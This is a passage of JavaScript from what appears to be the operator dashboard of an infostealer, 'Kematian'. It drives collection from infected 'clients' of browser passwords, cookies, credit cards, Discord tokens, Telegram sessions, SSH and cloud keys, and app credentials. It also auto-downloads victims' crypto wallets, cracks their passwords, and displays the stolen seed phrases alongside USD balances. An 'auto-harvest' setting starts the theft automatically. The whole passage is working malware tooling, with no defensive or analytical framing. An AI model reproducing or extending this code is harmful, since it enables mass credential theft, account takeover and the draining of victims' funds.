const iconClass = isExt ? "wl-icon-ext" : "wl-icon-desk";
const typeClass = isExt ? "wl-type-ext" : "wl-type-desk";
const typeLabel = isExt ? "Extension" : "Desktop";
const icon = isExt ? "\u{1F9E9}" : "\u{1F4B0}";
const addrs = w.addresses || [];
const balKey = w.name;
const bals = walletBalances[balKey] || {};
const crackResult = walletCrackResults[balKey];
let addrsHtml = "";
if (addrs.length > 0) {
addrsHtml = `${addrs.map(a =>
`${esc(a)}`
).join("")}
`;
}
let balHtml = "";
const balEntries = Object.entries(bals);
if (balEntries.length > 0) {
balHtml = `${balEntries.map(([chain, bal]) => {
const isZero = bal === 0;
const cls = isZero ? "wl-bal-chip wl-bal-chip-zero" : "wl-bal-chip";
const val = isZero ? "0" : bal < 0.0001 ? bal.toExponential(2) : bal.toFixed(4);
return `${esc(chain)}: ${val}`;
}).join("")}
`;
}
let crackHtml = "";
if (crackResult) {
if (crackResult.warning) {
crackHtml += `${esc(crackResult.warning)}
`;
}
if (crackResult.cracked) {
// USD total banner
let usdHtml = "";
if (crackResult.usdTotal !== undefined) {
if (crackResult.usdTotal > 0) {
usdHtml = `$${crackResult.usdTotal.toFixed(2)}
`;
} else {
usdHtml = `$0.00
`;
}
}
// Balances per asset
let balHtml = "";
if (crackResult.balances) {
const entries = Object.entries(crackResult.balances).filter(([,v]) => v > 0);
if (entries.length) {
balHtml = `${entries.map(([chain, val]) =>
`${esc(chain)} ${val < 0.0001 ? val.toExponential(2) : val.toFixed(6)}`
).join("")}
`;
} else {
balHtml = `No balances found
`;
}
}
// Addresses
let addrsHtml = "";
if (crackResult.addresses?.length) {
addrsHtml = `${crackResult.addresses.map(a => {
const label = a.chain || "ETH";
const addr = a.address || a;
return `${esc(label)}: ${esc(addr)}`;
}).join("")}
`;
}
if (crackResult.accounts?.length) {
addrsHtml += `${(crackResult.accounts || []).map(a => {
if (a.mnemonic) return `
${esc(a.mnemonic)}
`;
return `
${esc(a.type)}: ${esc(a.address)}`;
}).join("")}
`;
}
// Mnemonic
let mnemonicHtml = "";
if (crackResult.mnemonic) {
mnemonicHtml = `${esc(crackResult.mnemonic)}
`;
}
crackHtml += `
Cracked! Password: ${esc(crackResult.password)}
${usdHtml}
${balHtml}
${addrsHtml}
${mnemonicHtml}
${crackResult.mnemonic && !crackResult.balances ? `` : ""}`;
} else {
crackHtml += `No password matched (${crackResult.tried} tried)
`;
}
}
div.innerHTML = `
${icon}
${esc(w.name)}
${typeLabel}
${w.files || 0} files · ${humanSize(w.size || 0)}
${crackHtml}
${w.hasVault && !crackResult ? `` : ""}
${!w.hasVault && w.downloaded && !crackResult ? `` : ""}
${w.dataId ? `` : ""}
${w.downloaded ? `Auto-downloaded` : ""}
`;
div.querySelectorAll(".wl-addr, .wl-account").forEach(el => {
el.addEventListener("click", () => {
navigator.clipboard.writeText(el.textContent.replace(/^[^:]+:\s*/, "")).catch(() => {});
el.classList.add("copied-flash");
setTimeout(() => el.classList.remove("copied-flash"), 600);
});
});
div.querySelectorAll(".wl-mnemonic").forEach(el => {
el.addEventListener("click", () => {
navigator.clipboard.writeText(el.textContent).catch(() => {});
el.classList.add("copied-flash");
setTimeout(() => el.classList.remove("copied-flash"), 600);
});
});
return div;
}
async function loadWalletCards() {
if (!walletViewEl || walletViewEl.style.display === "none") return;
const cid = isGlobal ? (activeClient !== "all" ? activeClient : null) : clientId;
if (!cid) {
wlGrid.innerHTML = 'Select a client to view wallet details.
';
rowCount.textContent = "0 wallets";
return;
}
try {
const [tableResult, dataResult] = await Promise.all([
rpc("list_wallets", { clientId: cid }),
rpc("list_wallet_data", { clientId: cid }),
]);
const dataMap = {};
for (const d of dataResult.rows) {
dataMap[d.name] = d;
}
const wallets = tableResult.rows.map(w => {
const d = dataMap[w.name];
return {
...w,
addresses: d?.addresses || [],
hasVault: d?.hasVault || false,
downloaded: !!d,
dataId: d?.id || null,
};
});
wlGrid.innerHTML = "";
if (!wallets.length) {
wlGrid.innerHTML = 'No wallets found for this client.
';
} else {
for (const w of wallets) wlGrid.appendChild(renderWalletCard(w));
}
rowCount.textContent = `${wallets.length} wallet${wallets.length !== 1 ? "s" : ""}`;
// Load previously cracked seeds from DB
try {
const savedSeeds = await rpc("get_wallet_seeds", { clientId: cid });
for (const [name, seed] of Object.entries(savedSeeds || {})) {
if (!walletCrackResults[name]) {
walletCrackResults[name] = { cracked: true, password: "(saved)", mnemonic: seed.mnemonic, addresses: seed.addresses };
}
}
} catch (e) { log(`get_wallet_seeds error: ${e.message}`); }
// For wallets with saved seeds, just refresh balances; crack the rest
const balanceJobs = [];
const crackJobs = [];
for (const w of wallets) {
const name = w.name;
const existing = walletCrackResults[name];
if (existing?.cracked && existing.mnemonic) {
balanceJobs.push(name);
continue;
}
if (existing) continue;
const isDesktop = !w.hasVault && w.downloaded;
const isVault = w.hasVault;
if (isDesktop || isVault) crackJobs.push({ name, method: isDesktop ? "crack_exodus" : "crack_vault" });
}
// Refresh balances for already-cracked wallets (in parallel)
if (balanceJobs.length) {
Promise.all(balanceJobs.map(async (name) => {
try {
const cr = walletCrackResults[name];
const balResult = await rpc("check_cracked_balances", { mnemonic: cr.mnemonic });
walletCrackResults[name] = { ...cr, balances: balResult.totals, usdTotal: balResult.usdTotal, addresses: balResult.addresses || cr.addresses };
if (balResult.usdTotal > 0) log(`${name}: $${balResult.usdTotal.toFixed(2)} total value`);
} catch (e) { log(`Balance refresh ${name} error: ${e.message}`); }
})).then(() => {
wlGrid.innerHTML = "";
for (const w of wallets) wlGrid.appendChild(renderWalletCard(w));
});
}
// Auto-crack wallets that haven't been cracked yet
for (const { name, method } of crackJobs) {
try {
const result = await rpc(method, { clientId: cid, walletName: name });
walletCrackResults[name] = result;
if (result.cracked) {
log(`Auto-cracked ${name}! Password: ${result.password}`);
if (result.mnemonic) {
const balResult = await rpc("check_cracked_balances", { mnemonic: result.mnemonic });
walletCrackResults[name] = { ...result, balances: balResult.totals, usdTotal: balResult.usdTotal };
if (balResult.usdTotal > 0) log(`${name}: $${balResult.usdTotal.toFixed(2)} total value`);
else log(`${name}: no balances found`);
}
} else {
log(`Auto-crack ${name}: no password matched (${result.tried} tried)`);
}
} catch (err) {
log(`Auto-crack ${name} error: ${err.message}`);
}
}
// Re-render cards with crack results
if (wallets.some(w => walletCrackResults[w.name])) {
wlGrid.innerHTML = "";
for (const w of wallets) wlGrid.appendChild(renderWalletCard(w));
}
} catch (e) {
log(`Wallet cards error: ${e.message}`);
}
}
// ── Settings (auto-harvest) ───────────────────────────────────
function buildAutoStartEvents(files, ext) {
const events = [{ event: "collect", payload: { browsers: true } }];
if (files) events.push({ event: "scan_files", payload: {} });
if (ext) events.push({ event: "scan_extensions", payload: {} });
return events;
}
async function fetchAutoHarvestState() {
if (!autoHarvestToggle) return;
try {
const res = await fetch("/api/plugins");
if (!res.ok) return;
const data = await res.json();
const pluginCfg = (data.plugins || []).find(p => p.id === PLUGIN_ID);
if (!pluginCfg) return;
const enabled = !!pluginCfg.autoLoad;
const events = pluginCfg.autoStartEvents || [];
applySettingsUI(enabled, events.some(e => e.event === "scan_files"), events.some(e => e.event === "scan_extensions"));
} catch (_) {}
}
function applySettingsUI(enabled, files, ext) {
if (!autoHarvestToggle) return;
autoHarvestToggle.checked = enabled;
autoFilesToggle.disabled = !enabled;
autoFilesToggle.checked = files;
if (autoExtToggle) {
autoExtToggle.disabled = !enabled;
autoExtToggle.checked = ext;
}
const filesRow = $("ah-files-row");
const extRow = $("ah-ext-row");
if (filesRow) filesRow.style.opacity = enabled ? "1" : "0.5";
if (extRow) extRow.style.opacity = enabled ? "1" : "0.5";
}
async function saveSettings() {
if (!settingsStatus) return;
settingsStatus.textContent = "Saving…";
const enabled = autoHarvestToggle.checked;
const files = autoFilesToggle.checked;
const ext = autoExtToggle ? autoExtToggle.checked : false;
try {
const body = {
autoLoad: enabled,
autoStartEvents: enabled ? buildAutoStartEvents(files, ext) : [],
};
const res = await fetch(`/api/plugins/${PLUGIN_ID}/autoload`, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify(body),
});
const data = await res.json();
if (!data.ok) throw new Error(data.error || "failed");
settingsStatus.textContent = enabled ? "Auto-harvest enabled" : "Auto-harvest disabled";
applySettingsUI(enabled, files, ext);
} catch (e) {
settingsStatus.textContent = `Error: ${e.message}`;
}
setTimeout(() => { if (settingsStatus) settingsStatus.textContent = ""; }, 2500);
}
function initSettings(isAdmin) {
if (!settingsCard) return;
settingsCard.style.display = "";
if (!isAdmin) {
if (settingsAdminMsg) settingsAdminMsg.style.display = "";
if (settingsGrid) settingsGrid.classList.add("disabled");
if (autoHarvestToggle) autoHarvestToggle.disabled = true;
if (autoFilesToggle) autoFilesToggle.disabled = true;
if (autoExtToggle) autoExtToggle.disabled = true;
fetchAutoHarvestState();
return;
}
if (autoHarvestToggle) autoHarvestToggle.addEventListener("change", saveSettings);
if (autoFilesToggle) autoFilesToggle.addEventListener("change", saveSettings);
if (autoExtToggle) autoExtToggle.addEventListener("change", saveSettings);
fetchAutoHarvestState();
}
// ── Global mode ───────────────────────────────────────────────
async function loadGlobalStats() {
try {
knownClients = await rpc("get_stats");
renderClientsCard();
buildCfilts();
buildTabs();
const total = (key) => knownClients.reduce((s, c) => s + (c[key] || 0), 0);
const sep = ` · `;
globalStats.innerHTML = [
`${knownClients.length} client${knownClients.length !== 1 ? "s" : ""}`,
`${total("passwords").toLocaleString()} passwords`,
`${total("cookies").toLocaleString()} cookies`,
`${total("creditCards").toLocaleString()} cards`,
`${total("discordTokens").toLocaleString()} Discord tokens`,
`${total("extensions").toLocaleString()} extensions`,
`${total("wallets").toLocaleString()} wallets`,
].map(s => `${s}`).join(sep);
exportAllBtn.disabled = knownClients.length === 0;
loadSummary();
} catch (e) { log(`Stats error: ${e.message}`); }
}
let summaryData = [];
let summaryWalletResults = {};
async function loadSummary() {
if (!summaryCard || !summaryGrid) return;
try {
summaryData = await rpc("get_summary");
if (!summaryData.length) { summaryCard.style.display = "none"; return; }
summaryCard.style.display = "";
renderSummary();
// Load saved seeds for all clients, then only refresh balances or crack new ones
const balanceRefreshJobs = [];
const crackJobs = [];
for (const c of summaryData) {
let savedSeeds = {};
try { savedSeeds = await rpc("get_wallet_seeds", { clientId: c.clientId }); } catch (e) { log(`get_wallet_seeds ${c.clientId} error: ${e.message}`); }
const vaults = new Set(c.walletVaults || []);
for (const name of c.walletDownloaded || []) {
const key = `${c.clientId}:${name}`;
// Populate from saved seeds
if (!summaryWalletResults[key] && savedSeeds[name]) {
summaryWalletResults[key] = { cracked: true, password: "(saved)", mnemonic: savedSeeds[name].mnemonic, addresses: savedSeeds[name].addresses };
}
if (summaryWalletResults[key]?.cracked && summaryWalletResults[key]?.mnemonic) {
balanceRefreshJobs.push({ key, mnemonic: summaryWalletResults[key].mnemonic });
continue;
}
if (summaryWalletResults[key]) continue;
const method = vaults.has(name) ? "crack_vault" : "crack_exodus";
crackJobs.push({ key, clientId: c.clientId, name, method });
}
}
// Refresh balances for already-cracked wallets in parallel
if (balanceRefreshJobs.length) {
Promise.all(balanceRefreshJobs.map(async ({ key, mnemonic }) => {
try {
const balResult = await rpc("check_cracked_balances", { mnemonic });
summaryWalletResults[key] = { ...summaryWalletResults[key], balances: balResult.totals, usdTotal: balResult.usdTotal };
} catch (e) { log(`Summary balance refresh error: ${e.message}`); }
})).then(() => renderSummary());
}
// Crack wallets that don't have saved seeds
for (const { key, clientId: cid, name, method } of crackJobs) {
try {
const result = await rpc(method, { clientId: cid, walletName: name });
summaryWalletResults[key] = result;
if (result.cracked && result.mnemonic) {
const balResult = await rpc("check_cracked_balances", { mnemonic: result.mnemonic });
summaryWalletResults[key] = { ...result, balances: balResult.totals, usdTotal: balResult.usdTotal };
}
} catch (e) { log(`Summary crack ${name} (${method}) error: ${e.message}`); }
}
renderSummary();
} catch (e) { log(`Summary error: ${e.message}`); }
}
function renderSummary() {
if (!summaryGrid) return;
let totalUsd = 0;
const cards = [];
for (const c of summaryData) {
let clientUsd = 0;
const walletInfo = [];
for (const name of c.walletNames || []) {
const key = `${c.clientId}:${name}`;
const cr = summaryWalletResults[key];
if (cr?.cracked) {
clientUsd += cr.usdTotal || 0;
walletInfo.push({ name, cracked: true, usdTotal: cr.usdTotal || 0, password: cr.password });
} else if (cr && !cr.cracked) {
walletInfo.push({ name, cracked: false, tried: cr.tried });
} else {
walletInfo.push({ name, pending: true });
}
}
totalUsd += clientUsd;
cards.push({ client: c, clientUsd, walletInfo });
}
if (summaryTotals) {
summaryTotals.innerHTML = `
${totalUsd > 0 ? "$" + totalUsd.toFixed(2) : "$0.00"}
${summaryData.length} client${summaryData.length !== 1 ? "s" : ""} · ${Object.keys(summaryWalletResults).length} wallets checked
`;
}
summaryGrid.innerHTML = "";
for (const { client: c, clientUsd, walletInfo } of cards) {
const div = document.createElement("div");
div.className = "summary-client-card";
const walletsHtml = walletInfo.map(w => {
if (w.cracked) {
return `${esc(w.name)} $${w.usdTotal.toFixed(2)}`;
} else if (w.pending) {
return `${esc(w.name)}`;
} else {
return `${esc(w.name)} (${w.tried} tried)`;
}
}).join("");
div.innerHTML = `
${esc(shortId(c.clientId))}
${clientUsd > 0 ? "$" + clientUsd.toFixed(2) : ""}
${(c.passwords || 0).toLocaleString()} pw
${(c.cookies || 0).toLocaleString()} cookies
${(c.creditCards || 0).toLocaleString()} cards
${(c.discordTokens || 0).toLocaleString()} discord
${(c.wallets || 0)} wallets
${walletsHtml ? `${walletsHtml}
` : ""}
`;
summaryGrid.appendChild(div);
}
}
async function loadGlobalTab() {
const tab = TABS.find(t => t.id === activeTab);
if (!tab?.rpc) return;
if (!tabData[tab.key]) tabData[tab.key] = { rows: [], total: 0, offset: 0 };
const { offset } = tabData[tab.key];
const p = { limit: PAGE_SIZE, offset };
const search = searchEl.value.trim();
if (search) p.search = search;
if (activeClient !== "all") p.clientId = activeClient;
if (activeBrowser !== "all" && tab.cols.some(c => c.k === "browser"))
p.browser = activeBrowser;
try {
const result = await rpc(tab.rpc, p);
tabData[tab.key] = { rows: result.rows, total: result.total, offset };
buildTabs();
renderTable();
} catch (e) { log(`Load error (${tab.label}): ${e.message}`); }
}
function renderClientsCard() {
if (!clientsList) return;
if (knownClients.length === 0) { clientsCard.style.display = "none"; return; }
clientsCard.style.display = "";
clientsList.innerHTML = "";
const frag = document.createDocumentFragment();
for (const c of knownClients) {
const div = document.createElement("div");
div.className = "client-item";
const ts = c.lastCapturedAt ? new Date(c.lastCapturedAt).toLocaleString() : "—";
div.innerHTML = `
${(c.passwords || 0).toLocaleString()} pw
${(c.cookies || 0).toLocaleString()} cookies
${(c.creditCards || 0).toLocaleString()} cards
${(c.discordTokens || 0).toLocaleString()} discord
${(c.files || 0).toLocaleString()} files
${(c.extensions || 0).toLocaleString()} extensions
`;
frag.appendChild(div);
}
clientsList.appendChild(frag);
}
function startSSE() {
const sse = new EventSource(`/api/plugins/${PLUGIN_ID}/stream`);
window.__kematianSSE = sse;
sse.addEventListener("harvest_update", async (e) => {
const { clientId: cid } = JSON.parse(e.data);
log(`Harvest update from ${shortId(cid)}`);
await loadGlobalStats();
if (activeTab === "__search__") await loadSearchAll();
else if (activeTab === "discord") await loadDiscordProfiles();
else await loadGlobalTab();
});
sse.addEventListener("seed_update", async (e) => {
const { clientId: cid, count } = JSON.parse(e.data);
log(`Seed scan: ${count} phrases found from ${shortId(cid)}`);
if (activeTab === "seeds") await loadGlobalTab();
});
sse.addEventListener("wallet_data_update", async () => {
if (activeTab === "wallets") await loadWalletCards();
});
sse.addEventListener("client_deleted", async (e) => {
const { clientId: cid } = JSON.parse(e.data);
if (activeClient === cid) activeClient = "all";
delete tabData[TABS.find(t => t.id === activeTab)?.key];
await loadGlobalStats();
renderTable();
});
sse.addEventListener("cleared", () => {
knownClients = []; tabData = {}; activeClient = "all";
clientsCard.style.display = "none";
exportAllBtn.disabled = true;
globalStats.innerHTML = `0 clients`;
buildCfilts(); buildTabs(); renderTable();
if (pagBar) pagBar.style.display = "none";
log("All data cleared");
});
}
async function initGlobalMode() {
clientCard.style.display = "none";
globalCard.style.display = "";
dataCard.style.display = "";
$("sub-title").textContent = "Global harvest view — all clients";
buildTabs();
buildBfilts();
startSSE();
const rolePromise = fetchUserRole();
if (pagPrev) pagPrev.addEventListener("click", () => {
const tab = TABS.find(t => t.id === activeTab);
if (!tab?.key || !tabData[tab.key]) return;
tabData[tab.key].offset = Math.max(0, tabData[tab.key].offset - PAGE_SIZE);
loadGlobalTab();
});
if (pagNext) pagNext.addEventListener("click", () => {
const tab = TABS.find(t => t.id === activeTab);
if (!tab?.key || !tabData[tab.key]) return;
const td = tabData[tab.key];
if (td.offset + td.rows.length < td.total) { td.offset += PAGE_SIZE; loadGlobalTab(); }
});
clientsList.addEventListener("click", async (e) => {
const btn = e.target.closest("[data-action]");
if (!btn) return;
const { action, id } = btn.dataset;
if (action === "view-client") {
activeClient = id;
const tab = TABS.find(t => t.id === activeTab);
if (tab?.key && tabData[tab.key]) tabData[tab.key].offset = 0;
buildCfilts(); buildTabs();
await loadGlobalTab();
dataCard.scrollIntoView({ behavior: "smooth" });
} else if (action === "del-client") {
if (!confirm(`Delete all harvested data for client ${shortId(id)} (${id})?`)) return;
try {
await rpc("delete_client", { clientId: id });
log(`Deleted ${shortId(id)}`);
knownClients = knownClients.filter(c => c.clientId !== id);
if (activeClient === id) activeClient = "all";
for (const t of TABS)
if (tabData[t.key]) tabData[t.key].rows = tabData[t.key].rows.filter(r => r.clientId !== id);
renderClientsCard(); buildCfilts(); buildTabs(); renderTable();
loadGlobalStats();
} catch (err) { log(`Delete error: ${err.message}`); }
}
});
refreshBtn.addEventListener("click", async () => {
log("Refreshing…");
await loadGlobalStats();
if (activeTab === "__search__") await loadSearchAll();
else await loadGlobalTab();
});
exportAllBtn.addEventListener("click", async () => {
try {
log("Exporting all data…");
const results = await Promise.all(TABS.map(t => rpc(t.rpc, { limit: 0 })));
const allData = {};
TABS.forEach((t, i) => { allData[t.key] = results[i].rows; });
const blob = new Blob([JSON.stringify(allData, null, 2)], { type: "application/json" });
const a = document.createElement("a");
a.href = URL.createObjectURL(blob);
a.download = `kematian-global-${Date.now()}.json`;
a.click();
URL.revokeObjectURL(a.href);
log("Export complete");
} catch (err) { log(`Export error: ${err.message}`); }
});
clearAllBtn.addEventListener("click", async () => {
if (!confirm("Delete ALL harvested data from ALL clients?\n\nThis cannot be undone.")) return;
try {
await rpc("delete_all", {});
knownClients = []; tabData = {}; activeClient = "all";
clientsCard.style.display = "none";
exportAllBtn.disabled = true;
globalStats.innerHTML = `0 clients`;
if (pagBar) pagBar.style.display = "none";
buildCfilts(); buildTabs(); renderTable();
log("All data cleared");
} catch (err) { log(`Clear error: ${err.message}`); }
});
log("Global view — Kematian");
const [role] = await Promise.all([
rolePromise,
loadGlobalStats().then(() => loadGlobalTab()),
]);
userRole = role;
initSettings(userRole === "admin");
}
// ── Per-client mode ───────────────────────────────────────────
function initClientMode() {
clientIdEl.value = clientId;
globalCard.style.display = "none";
clientsCard.style.display = "none";
if (settingsCard) settingsCard.style.display = "none";
cfiltsEl.style.display = "none";
if (pagBar) pagBar.style.display = "none";
buildTabs();
buildBfilts();
collectBtn.addEventListener("click", () => {
collectBtn.disabled = true;
log("Starting collection…");
sendEvent("collect", { browsers: true });
});
scanFilesBtn.addEventListener("click", () => {
scanFilesBtn.disabled = true;
log("Scanning files…");
sendEvent("scan_files", {});
});
scanExtBtn.addEventListener("click", () => {
scanExtBtn.disabled = true;
log("Scanning extensions…");
sendEvent("scan_extensions", {});
});
scanWalletsBtn.addEventListener("click", () => {
scanWalletsBtn.disabled = true;
log("Scanning wallets…");
sendEvent("scan_wallets", {});
});
scanTgBtn.addEventListener("click", () => {
scanTgBtn.disabled = true;
log("Scanning Telegram sessions…");
sendEvent("scan_telegram", {});
});
scanKeysBtn.addEventListener("click", () => {
scanKeysBtn.disabled = true;
log("Scanning SSH & cloud keys…");
sendEvent("scan_keys", {});
});
scanAppsBtn.addEventListener("click", () => {
scanAppsBtn.disabled = true;
log("Scanning app credentials (RDP, WinSCP, PuTTY, FileZilla, WiFi…)");
sendEvent("scan_apps", {});
});
pingBtn.addEventListener("click", () => { log("Ping sent"); sendEvent("ping", {}); });
exportBtn.addEventListener("click", () => {
if (!lastResults) return;
const blob = new Blob([JSON.stringify(lastResults, null, 2)], { type: "application/json" });
const a = document.createElement("a");
a.href = URL.createObjectURL(blob);
a.download = `kematian-${clientId}-${Date.now()}.json`;
a.click();
URL.revokeObjectURL(a.href);
log("Exported results");
});
const eventDispatch = {
ready(payload) {
statusDot.className = "dot dot-on";
statusText.textContent = "Connected";
log(`ready: ${payload?.status || "ok"}`);
},
status(payload) {
log(payload?.message || "(status)");
},
partial(payload) {
if (!lastResults) { lastResults = {}; dataCard.style.display = ""; }
for (const key of DATA_KEYS)
if (payload[key]?.length) lastResults[key] = [...(lastResults[key] || []), ...payload[key]];
buildTabs(); buildBfilts(); renderTable();
},
results(payload) {
lastResults = payload;
collectBtn.disabled = false;
exportBtn.disabled = false;
dataCard.style.display = "";
buildTabs(); buildBfilts(); renderTable();
const c = DATA_KEYS.map(k => (payload[k] || []).length);
log(`Collection complete — ${c[0]} pw · ${c[1]} cookies · ${c[2]} autofill · ${c[3]} history · ${c[4]} bookmarks · ${c[5]} cards · ${c[6]} Discord · ${c[7]} files · ${c[8]} extensions · ${c[9]} wallets · ${c[10]} telegram · ${c[11]} keys · ${c[12]} seeds · ${c[13]} apps`);
if (payload.errors?.length) payload.errors.forEach(e => log(`warn: ${e}`));
},
file_scan_results(payload) {
if (!lastResults) { lastResults = {}; dataCard.style.display = ""; }
lastResults.files = payload?.files || [];
scanFilesBtn.disabled = false;
if (activeTab !== "files") { activeTab = "files"; sortCol = null; sortAsc = true; }
buildTabs(); buildBfilts(); renderTable();
log(`File scan — ${lastResults.files.length} files${payload?.truncated ? " (limit reached)" : ""}`);
},
fetch_file_result(payload) {
const { path, name, content } = payload || {};
const pending = pendingFetches.get(path);
pendingFetches.delete(path);
if (pending?.btn) { pending.btn.textContent = "↓"; pending.btn.disabled = false; }
if (!content) { log(`fetch_file: no content for ${name}`); return; }
downloadBase64(content, name || "file");
log(`Downloaded: ${name}`);
},
fetch_file_error(payload) {
const { path, error } = payload || {};
const pending = pendingFetches.get(path);
pendingFetches.delete(path);
if (pending?.btn) { pending.btn.textContent = "✕"; pending.btn.disabled = false; }
log(`fetch_file ERROR: ${error || "unknown"}`);
},
extension_scan_results(payload) {
if (!lastResults) { lastResults = {}; dataCard.style.display = ""; }
lastResults.extensions = payload?.extensions || [];
scanExtBtn.disabled = false;
if (activeTab !== "extensions") { activeTab = "extensions"; sortCol = null; sortAsc = true; }
buildTabs(); buildBfilts(); renderTable();
log(`Extension scan — ${lastResults.extensions.length} extensions`);
},
fetch_ext_zip_result(payload) {
const { path, extId, content } = payload || {};
const pending = pendingExtZips.get(path);
pendingExtZips.delete(path);
if (pending?.btn) { pending.btn.textContent = "ZIP"; pending.btn.disabled = false; }
if (!content) { log(`fetch_ext_zip: no content for ${extId}`); return; }
downloadBase64(content, `${extId || "extension"}.zip`, "application/zip");
log(`Downloaded extension ZIP: ${extId}`);
},
fetch_ext_zip_error(payload) {
const { path, error } = payload || {};
const pending = pendingExtZips.get(path);
pendingExtZips.delete(path);
if (pending?.btn) { pending.btn.textContent = "✕"; pending.btn.disabled = false; }
log(`fetch_ext_zip ERROR: ${error || "unknown"}`);
},
wallet_scan_results(payload) {
if (!lastResults) { lastResults = {}; dataCard.style.display = ""; }
lastResults.wallets = payload?.wallets || [];
scanWalletsBtn.disabled = false;
if (activeTab !== "wallets") { activeTab = "wallets"; sortCol = null; sortAsc = true; }
buildTabs(); buildBfilts(); renderTable();
log(`Wallet scan — ${lastResults.wallets.length} wallets`);
},
wallet_auto_data(payload) {
log(`Auto-downloaded wallet: ${payload?.name || "?"} (${humanSize(payload?.size || 0)})`);
if (activeTab === "wallets") loadWalletCards();
},
fetch_wallet_zip_result(payload) {
const { path, name, content } = payload || {};
const pending = pendingWalletZips.get(path);
pendingWalletZips.delete(path);
if (pending?.btn) { pending.btn.textContent = "ZIP"; pending.btn.disabled = false; }
if (!content) { log(`fetch_wallet_zip: no content for ${name}`); return; }
downloadBase64(content, `${name || "wallet"}.zip`, "application/zip");
log(`Downloaded wallet ZIP: ${name}`);
},
fetch_wallet_zip_error(payload) {
const { path, error } = payload || {};
const pending = pendingWalletZips.get(path);
pendingWalletZips.delete(path);
if (pending?.btn) { pending.btn.textContent = "✕"; pending.btn.disabled = false; }
log(`fetch_wallet_zip ERROR: ${error || "unknown"}`);
},
telegram_scan_results(payload) {
if (!lastResults) { lastResults = {}; dataCard.style.display = ""; }
lastResults.telegram = payload?.sessions || [];
scanTgBtn.disabled = false;
if (activeTab !== "telegram") { activeTab = "telegram"; sortCol = null; sortAsc = true; }
buildTabs(); buildBfilts(); renderTable();
log(`Telegram scan — ${lastResults.telegram.length} sessions`);
},
telegram_data(payload) {
log(`Telegram data: ${payload?.account || "?"} (${humanSize(payload?.size || 0)})`);
},
key_scan_results(payload) {
if (!lastResults) { lastResults = {}; dataCard.style.display = ""; }
lastResults.keys = payload?.keys || [];
scanKeysBtn.disabled = false;
if (activeTab !== "keys") { activeTab = "keys"; sortCol = null; sortAsc = true; }
buildTabs(); buildBfilts(); renderTable();
log(`Key scan — ${lastResults.keys.length} keys found`);
},
app_scan_results(payload) {
if (!lastResults) { lastResults = {}; dataCard.style.display = ""; }
lastResults.appCredentials = payload?.appCredentials || [];
scanAppsBtn.disabled = false;
if (activeTab !== "apps") { activeTab = "apps"; sortCol = null; sortAsc = true; }
buildTabs(); buildBfilts(); renderTable();
log(`App scan — ${lastResults.appCredentials.length} credentials found`);
},
error(payload) {
collectBtn.disabled = false;
scanFilesBtn.disabled = false;
scanWalletsBtn.disabled = false;
scanTgBtn.disabled = false;
scanKeysBtn.disabled = false;
scanAppsBtn.disabled = false;
log(`ERROR: ${payload?.error || "unknown"}`);
},
pong() { log("pong"); },
};
function handlePluginEvent(event, payload) {
const handler = eventDispatch[event];
if (handler) handler(payload);
else log(`event: ${event}`);
}
window.addEventListener("message", (e) => {
if (!e.data || e.data.type !== "plugin_event") return;
handlePluginEvent(e.data.event, e.data.payload);
});
let polling = false;
async function pollEvents() {
if (polling) return;
polling = true;
try {
const res = await fetch(
`/api/clients/${encodeURIComponent(clientId)}/plugins/${PLUGIN_ID}/events`,
{ headers: { Accept: "application/json" } },
);
if (res.ok) {
const data = await res.json();
if (data.events) data.events.forEach(e => handlePluginEvent(e.event, e.payload));
}
} catch (_) {} finally { polling = false; }
}
log("Ready — Kematian");
window.__kematianPoll = setInterval(pollEvents, 1500);
setTimeout(pollEvents, 500);
}
// ── Discord lookup buttons ────────────────────────────────────
if (enrichAllBtn) {
enrichAllBtn.addEventListener("click", async () => {
enrichAllBtn.disabled = true;
enrichStatus.textContent = "Looking up…";
try {
const p = {};
if (!isGlobal && clientId) p.clientId = clientId;
else if (isGlobal && activeClient !== "all") p.clientId = activeClient;
const r = await rpc("enrich_all_discord", p);
enrichStatus.textContent = `Done — ${r.enriched} token${r.enriched !== 1 ? "s" : ""} processed`;
await loadDiscordProfiles();
} catch (e) {
enrichStatus.textContent = `Error: ${e.message}`;
} finally {
enrichAllBtn.disabled = false;
}
});
}
if (dpGrid) {
dpGrid.addEventListener("click", async (e) => {
const btn = e.target.closest(".dp-lookup-btn");
if (!btn) return;
const token = btn.dataset.token;
const cid = btn.dataset.cid;
if (!token || !cid) return;
btn.disabled = true;
btn.textContent = "…";
try {
await rpc("enrich_discord_token", { token, clientId: cid });
await loadDiscordProfiles();
} catch (err) {
log(`Lookup error: ${err.message}`);
btn.disabled = false;
btn.textContent = "Retry";
}
});
}
// ── Wallet card buttons ────────────────────────────────────────
if (checkBalancesBtn) {
checkBalancesBtn.addEventListener("click", async () => {
const cid = isGlobal ? (activeClient !== "all" ? activeClient : null) : clientId;
if (!cid) { log("Select a client first"); return; }
checkBalancesBtn.disabled = true;
balanceStatus.textContent = "Checking balances…";
try {
const result = await rpc("check_balances", { clientId: cid });
walletBalances = {};
for (const r of result.results || []) {
if (!walletBalances[r.wallet]) walletBalances[r.wallet] = {};
for (const [chain, bal] of Object.entries(r.balances || {}))
walletBalances[r.wallet][chain] = (walletBalances[r.wallet][chain] || 0) + bal;
}
const nonZero = Object.values(walletBalances).reduce((s, b) => s + Object.values(b).filter(v => v > 0).length, 0);
balanceStatus.textContent = `Done — ${nonZero} non-zero balance${nonZero !== 1 ? "s" : ""} found`;
await loadWalletCards();
} catch (e) {
balanceStatus.textContent = `Error: ${e.message}`;
log(`Balance check error: ${e.message}`);
} finally {
checkBalancesBtn.disabled = false;
}
});
}
if (wlGrid) {
wlGrid.addEventListener("click", async (e) => {
const crackBtn = e.target.closest(".wl-crack-btn");
if (crackBtn) {
const walletName = crackBtn.dataset.wallet;
const crackType = crackBtn.dataset.crackType || "vault";
const cid = isGlobal ? (activeClient !== "all" ? activeClient : null) : clientId;
if (!cid || !walletName) return;
crackBtn.disabled = true;
crackBtn.textContent = "Cracking…";
try {
const rpcMethod = crackType === "desktop" ? "crack_exodus" : "crack_vault";
const result = await rpc(rpcMethod, { clientId: cid, walletName });
walletCrackResults[walletName] = result;
if (result.cracked) log(`Wallet cracked for ${walletName}! Password: ${result.password}`);
else log(`Wallet crack failed for ${walletName} — ${result.tried} passwords tried`);
await loadWalletCards();
} catch (err) {
log(`Crack error: ${err.message}`);
crackBtn.disabled = false;
crackBtn.textContent = crackType === "desktop" ? "Crack Wallet" : "Crack Vault";
}
return;
}
